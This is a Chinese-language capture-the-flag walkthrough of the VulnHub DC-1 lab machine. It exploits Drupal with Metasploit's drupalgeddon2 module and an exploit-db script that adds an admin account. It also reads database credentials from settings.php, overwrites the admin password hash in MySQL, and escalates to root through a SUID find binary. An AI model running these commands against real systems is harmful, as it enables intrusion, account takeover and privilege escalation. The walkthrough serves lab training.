vulnhub-DC-1渗透测试

也可以用nmap扫

sudo nmap -sP 192.168.22.0/24

Nmap中文手册

知道地址为192.168.22.129，再用nmap扫端口

nmap -sV 192.168.64.0/24

得到三个端口80web页面，22ssh端口，111RPC端口，访问80端口的页面

发现是一个Drupal的站点，使用了Drupal框架(Drupal与WordPress，哪个是更好的CMS)，这里直接msf上机，查找可以针对Drupal的模块

msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2  //只有两个能用
show options
set  RHOSTS 192.168.22.129
run

得到一个会话后，利用会话再得到shell

cat flag1.txt
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件-你也是。

drupal配置文件的位置是在sites/default/files

cd sites/default/
cat settings.php

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?

暴力破解和字典攻击不是获得访问权限的唯一方法（您将需要访问权限）。你可以用这些凭据做什么？

既然获得数据库的账号密码那就登录上继续找，不过这里需要先用python转换成标准的shell，否则进入mysql之后shell就没有反应

python -c 'import pty; pty.spawn("/bin/bash")'

这里转换标准shell是起初用的python ‐c "import pty;pty.spawn('/bin/bash')"，但是报错显示python: can't open file '‐c': [Errno 2] No such file or directory

mysql -u dbuser -p R0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
select name,pass from users;

这里的pass是经过drupal加密，所以到这一步想要搞到可以登陆的账号密码有两种方法

参考Vulnhub靶场DC-1 WP

searchsploit Drupal 7
python /usr/share/exploitdb/exploits/php/webapps/34992.py -u test -p test -t http://192.168.22.129

查数据发现已经添加成功

利用根目录中的scripts对test(自己想要设置的密码)进行加密，然后修改admin的密码为加密后的test，这里只能在这个目录下，不然会报路径的错

cd /var/www
./scripts/password-hash.sh test  
hash: $S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL

update users set pass='$S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL'
where name='admin';

在web页面进行登录，在仪表盘里发现flag3

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS 将帮助查找密码——但您需要-exec 该命令来确定如何获取shadow中的内容。

我们使用find找下具有root权限的suid(【安全科普】Linux提权——利用可执行文件SUID )

 ‐perm 按照文件权限来查找文件
 ‐u=w 基于用户可写查找  //s就是root用户的意思
 ‐type f 查找普通类型文件
find / -perm -u=s -type f 2>/dev/null

可以看到find是可以用来提权的，我们尝试用find执行命令，这里需要注意‐name参数填写的文件名，是需要系统真实存在的(我们知道存在flag4，所以直接用)

find / -name flag4 -exec "/bin/sh" ;

参考Vulnhub靶机实战——DC-1这里使用hydra+John密码包对flag4的密码进行爆破，爆破密码为：flag4/orange，拿到账号密码后可以连接ssh登陆系统，但这里已经拿到了root权限，可以直接进/home中找到flag4

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

你能用同样的方法来查找或访问根目录中的标志吗？
可能。但也许不是那么容易。或许是这样？

前面通过find拿到root权限，这里同样直接到/root目录下get flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7


做得好！！！！！

希望你喜欢这个并学到了一些新的技能。

你可以让我知道你对这次小旅行的看法。

通过Twitter联系我-@dcau7